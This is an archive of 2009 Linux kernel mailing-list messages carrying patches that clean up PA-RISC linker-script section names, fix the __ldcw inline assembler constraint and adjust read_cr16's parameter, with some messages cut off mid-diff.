Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 30 22:14:37 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzceS-00045U-VJ
	for sgi-linux-mips@gmane.org; Thu, 30 Apr 2009 22:14:37 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:60757 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20026729AbZD3UOd (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Thu, 30 Apr 2009 21:14:33 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 30 Apr 2009 21:14:16 +0100 (BST)
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:39735 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S20026728AbZD3UOK (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 30 Apr 2009 21:14:10 +0100
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UJsJuR017378;
	Thu, 30 Apr 2009 15:54:19 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UJsESH011126;
	Thu, 30 Apr 2009 15:54:14 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
X-Scanned-By: MIMEDefang 2.42
X-archive-position: 22571
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tabbott@MIT.EDU
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23601 gmane.linux.kernel:830358 gmane.linux.ports.alpha:516 gmane.linux.ports.ia64:20316 gmane.linux.ports.m68k:688 gmane.linux.ports.parisc:1595 gmane.linux.ports.ppc64.devel:55687 gmane.linux.ports.sh.devel:5859 gmane.linux.uclinux.microblaze:8581 gmane.linux.ports.sparc:11546 gmane.linux.hardware.blackfin.kernel.devel:1357 gmane.linux.uml.devel:12181
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1595>

(this patch series differs from v1 only in the CC list; some of the
architecture lists I sent the previous one to are moderated against
non-members; all replies should go to this version).

Here are the architecture-independent macro definitions needed for
to clean up the kernel's section names.  The overall diffstat from
this section name cleanup project is:

 96 files changed, 261 insertions(+), 503 deletions(-)

The decrease results from removing a lot of redundancy in the linker
scripts.

The long-term goal here is to add support for building the kernel with
-ffunction-sections -fdata-sections.  This requires renaming all the
magic section names in the kernel of the form .text.foo, .data.foo,
.bss.foo, and .rodata.foo to not have collisions with sections
generated for code like:

static int nosave = 0; /* -fdata-sections places in .data.nosave */
static void head(); /* -ffunction-sections places in .text.head */

Sam Ravnborg proposed that rather than just renaming all the sections
outright, we should start by first getting more control over the
section names used in the kernel so that we can later rename sections
without touching too many files.  These patch series implement that
cleanup.  Later, there will be another patch series to actually rename
the sections.

I'm hoping we can get just these macro definitions into 2.6.30 so that
the arch maintainers don't have to grab the macro definitions for
their trees while reviewing the patches for 2.6.31.

Shortly, I'm going to send one patch series for each of the
architectures updating those architectures to use these new macros
(and otherwise cleaning up section names on those architectures).

	-Tim Abbott

Tim Abbott (6):
  Add new macros for page-aligned data and bss sections.
  Add new NOSAVE_DATA linker script macro.
  Add new CACHELINE_ALIGNED_DATA linker script macro.
  Add new INIT_TASK_DATA() linker script macro.
  Add new READ_MOSTLY_DATA(align) linker script macro.
  Add support for __read_mostly to linux/cache.h

 include/asm-generic/vmlinux.lds.h |   27 +++++++++++++++++++++++++++
 include/linux/cache.h             |    6 ++++++
 include/linux/init_task.h         |    3 +++
 include/linux/linkage.h           |    9 +++++++++
 4 files changed, 45 insertions(+), 0 deletions(-)




From - Thu Nov 08 21:04:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix ldcw inline assembler
Date: Thu, 30 Apr 2009 23:39:45 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <49FA1AA1.3060104@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241127603 13544 80.91.229.12 (30 Apr 2009 21:40:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 21:40:03 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Thibaut VARENE <varenet@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 30 23:39:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzdyy-00012m-Pl
	for glpp-linux-parisc@gmane.org; Thu, 30 Apr 2009 23:39:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750971AbZD3Vju (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Apr 2009 17:39:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751898AbZD3Vju
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Apr 2009 17:39:50 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:45616 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750971AbZD3Vju (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Apr 2009 17:39:50 -0400
Original-Received: (qmail invoked by alias); 30 Apr 2009 21:39:48 -0000
Original-Received: from mnhm-590e07d4.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.7.212]
  by mail.gmx.net (mp063) with SMTP; 30 Apr 2009 23:39:48 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX199/jwn0219ou4X5+Dyrry9BUuo3Yw6tyWY+TSVNr
	cEwFmbQr6w/wi5
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1596
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1596>

This "fix ldcw assembler" patch below is really an old one now, but sadly it never got applied.

I just tried it again. Without this patch I always see login-problems when ssh-ing into
my parisc box. The very first time sshd just drops the connection (Connection closed by remote host).
With this patch I didn't faced this problem again.

I'm wondering, if not other userspace problems suddenly go away then as well,
e.g. the uid/gid issues others are seeing:
http://marc.info/?l=linux-parisc&m=121114269417948&w=2

Kyle, please apply.

Helge

-------- Original Message --------
Subject: [PATCH] ldcw inline assembler patch
From: Dave Anglin

There are two reasons to expose the memory *a in the asm:

1) To prevent the compiler from discarding a preceeding write to *a, and
2) to prevent it from caching *a in a register over the asm.

The change has had a few days testing with a SMP build of 2.6.22.19
running on a rp3440.

This patch is about the correctness of the __ldcw() macro itself. 
The use of the macro should be confined to small inline functions 
to try to limit the effect of clobbering memory on GCC's optimization 
of loads and stores.

Signed-off-by: Dave Anglin <dave.anglin@nrc-cnrc.gc.ca>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
index ee80c92..d91357b 100644
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -168,8 +168,8 @@ static inline void set_eiem(unsigned long val)
 /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
 #define __ldcw(a) ({						\
 	unsigned __ret;						\
-	__asm__ __volatile__(__LDCW " 0(%1),%0"			\
-		: "=r" (__ret) : "r" (a));			\
+	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
+		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
 	__ret;							\
 })
 
	

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix ldcw inline assembler
Date: Thu, 30 Apr 2009 18:27:03 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20090430222703.GB18899@bombadil.infradead.org>
References: <49FA1AA1.3060104@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241130440 21272 80.91.229.12 (30 Apr 2009 22:27:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 22:27:20 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Thibaut VARENE <varenet@debian.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 00:27:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzeij-0002tf-SE
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 00:27:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752231AbZD3W1I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Apr 2009 18:27:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754341AbZD3W1I
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Apr 2009 18:27:08 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:38581 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752231AbZD3W1H (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Apr 2009 18:27:07 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Lzeid-0005l7-VK; Thu, 30 Apr 2009 22:27:03 +0000
Content-Disposition: inline
In-Reply-To: <49FA1AA1.3060104@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1597
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1597>

On Thu, Apr 30, 2009 at 11:39:45PM +0200, Helge Deller wrote:
> This "fix ldcw assembler" patch below is really an old one now, but sadly it never got applied.
> 
> I just tried it again. Without this patch I always see login-problems when ssh-ing into
> my parisc box. The very first time sshd just drops the connection (Connection closed by remote host).
> With this patch I didn't faced this problem again.
> 
> I'm wondering, if not other userspace problems suddenly go away then as well,
> e.g. the uid/gid issues others are seeing:
> http://marc.info/?l=linux-parisc&m=121114269417948&w=2
> 
> Kyle, please apply.
> 

gotcha.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 6/7] parisc: add parameter to read_cr16()]
Date: Fri, 01 May 2009 00:43:46 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <49FA29A2.9040701@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241131441 23738 80.91.229.12 (30 Apr 2009 22:44:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 22:44:01 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Coly Li <coly.li@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 00:43:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzeyu-0000hW-Ku
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 00:43:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752054AbZD3Wnv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Apr 2009 18:43:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755168AbZD3Wnv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Apr 2009 18:43:51 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:46514 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752054AbZD3Wnu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Apr 2009 18:43:50 -0400
Original-Received: (qmail invoked by alias); 30 Apr 2009 22:43:49 -0000
Original-Received: from mnhm-590e07d4.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.7.212]
  by mail.gmx.net (mp007) with SMTP; 01 May 2009 00:43:49 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18JuSMtiMUJgQQur+FfuJXoKfVA7uSgfvfRffcdjf
	f+vn6U8xCOfIHX
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1598
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1598>

Forwarded to parisc mailing list (and patchwork).
Patch is good.

Signed-off-by: Helge Deller <deller@gmx.de>

-------- Original Message --------
Subject: [PATCH 6/7] parisc: add parameter to read_cr16()
Date: Thu, 23 Apr 2009 03:06:22 +0800
From: Coly Li <coly.li@suse.de>
Reply-To: coly.li@suse.de
Organization: SuSE Labs
To: LKML <linux-kernel@vger.kernel.org>
CC: Helge Deller <deller@gmx.de>, Ingo Molnar <mingo@elte.hu>

This patch modifies parameter of au1x_counter1_read() from 'void' to 'struct
clocksource *cs', which fixes compile warning for incompatible parameter type.

Signed-off-by: Coly Li <coly.li@suse.de>
Cc: Helge Deller <deller@gmx.de>
Cc: Ingo Molnar <mingo@elte.hu>
---
 arch/parisc/kernel/time.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index d4dd056..d97d07f 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -173,7 +173,7 @@ EXPORT_SYMBOL(profile_pc);

 /* clock source code */

-static cycle_t read_cr16(void)
+static cycle_t read_cr16(struct clocksource *cs)
 {
 	return get_cycles();
 }

-- 
Coly Li
SuSE Labs



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 2/5] parisc: use new macro for .data.cacheline_aligned section.
Date: Thu, 30 Apr 2009 19:55:16 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <1241135719-9286-3-git-send-email-tabbott@mit.edu>
References: <1241135719-9286-1-git-send-email-tabbott@mit.edu>
 <1241135719-9286-2-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241135769 2361 80.91.229.12 (30 Apr 2009 23:56:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 23:56:09 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, Tim Abbott <tabbott@mit.edu>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 01:55:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzg6e-0000Fw-63
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 01:55:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764773AbZD3Xzr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Apr 2009 19:55:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764794AbZD3Xzq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Apr 2009 19:55:46 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:60832 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1764784AbZD3Xzp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Apr 2009 19:55:45 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UNtMv5018178;
	Thu, 30 Apr 2009 19:55:22 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UNtLkn011662;
	Thu, 30 Apr 2009 19:55:21 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241135719-9286-2-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1599 gmane.linux.kernel:830469
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1599>

.data.cacheline_aligned should not need a separate output section;
this change moves it into the .data section.

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/vmlinux.lds.S |    6 +-----
 1 files changed, 1 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 0cc9658..b5936c9 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -104,15 +104,11 @@ SECTIONS
 	/* Data */
 	.data : {
 		NOSAVE_DATA
+		CACHELINE_ALIGNED_DATA(L1_CACHE_BYTES)
 		DATA_DATA
 		CONSTRUCTORS
 	}
 
-	. = ALIGN(L1_CACHE_BYTES);
-	.data.cacheline_aligned : {
-		*(.data.cacheline_aligned)
-	}

From - Thu Nov 08 21:04:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 4/5] parisc: use new macro for .data.read_mostly section.
Date: Thu, 30 Apr 2009 19:55:18 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <1241135719-9286-5-git-send-email-tabbott@mit.edu>
References: <1241135719-9286-1-git-send-email-tabbott@mit.edu>
 <1241135719-9286-2-git-send-email-tabbott@mit.edu>
 <1241135719-9286-3-git-send-email-tabbott@mit.edu>
 <1241135719-9286-4-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241135929 2650 80.91.229.12 (30 Apr 2009 23:58:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 23:58:49 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, Tim Abbott <tabbott@mit.edu>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 01:58:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzg9E-00018Z-W1
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 01:58:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764776AbZD3Xzz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Apr 2009 19:55:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764778AbZD3Xzz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Apr 2009 19:55:55 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:60855 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1764793AbZD3Xzx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Apr 2009 19:55:53 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UNtOw4018197;
	Thu, 30 Apr 2009 19:55:24 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UNtNls011681;
	Thu, 30 Apr 2009 19:55:24 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241135719-9286-4-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1600 gmane.linux.kernel:830474
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1600>

.data.read_mostly should not need a separate output section; this
change moves it into the .data section.

I used alignment L1_CACHE_BYTES instead of 16 since the whole point is
for read-mostly data to have different cache lines than other stuff.

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/vmlinux.lds.S |    8 +-------
 1 files changed, 1 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index c8a528d..3176407 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -94,19 +94,13 @@ SECTIONS
 		__stop___unwind = .;
 	}
 
-	/* rarely changed data like cpu maps */
-	. = ALIGN(16);
-	.data.read_mostly : {
-		*(.data.read_mostly)
-	}

From - Thu Nov 08 21:04:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 1/5] parisc: use NOSAVE_DATA macro for .data.nosave section.
Date: Thu, 30 Apr 2009 19:55:15 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <1241135719-9286-2-git-send-email-tabbott@mit.edu>
References: <1241135719-9286-1-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241135934 2667 80.91.229.12 (30 Apr 2009 23:58:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Apr 2009 23:58:54 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, Tim Abbott <tabbott@mit.edu>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 01:58:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzg9K-00018Z-FA
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 01:58:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764011AbZD3X6c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Apr 2009 19:58:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1762336AbZD3X6b
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Apr 2009 19:58:31 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:61068 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1764135AbZD3X6a (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Apr 2009 19:58:30 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UNtLQH018172;
	Thu, 30 Apr 2009 19:55:21 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UNtKkw011655;
	Thu, 30 Apr 2009 19:55:20 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241135719-9286-1-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1601 gmane.linux.kernel:830477
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1601>

.data.nosave should not need a separate output section; this change
moves it into the .data section.

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Kyle McMartin <kyle@mcmartin.ca>
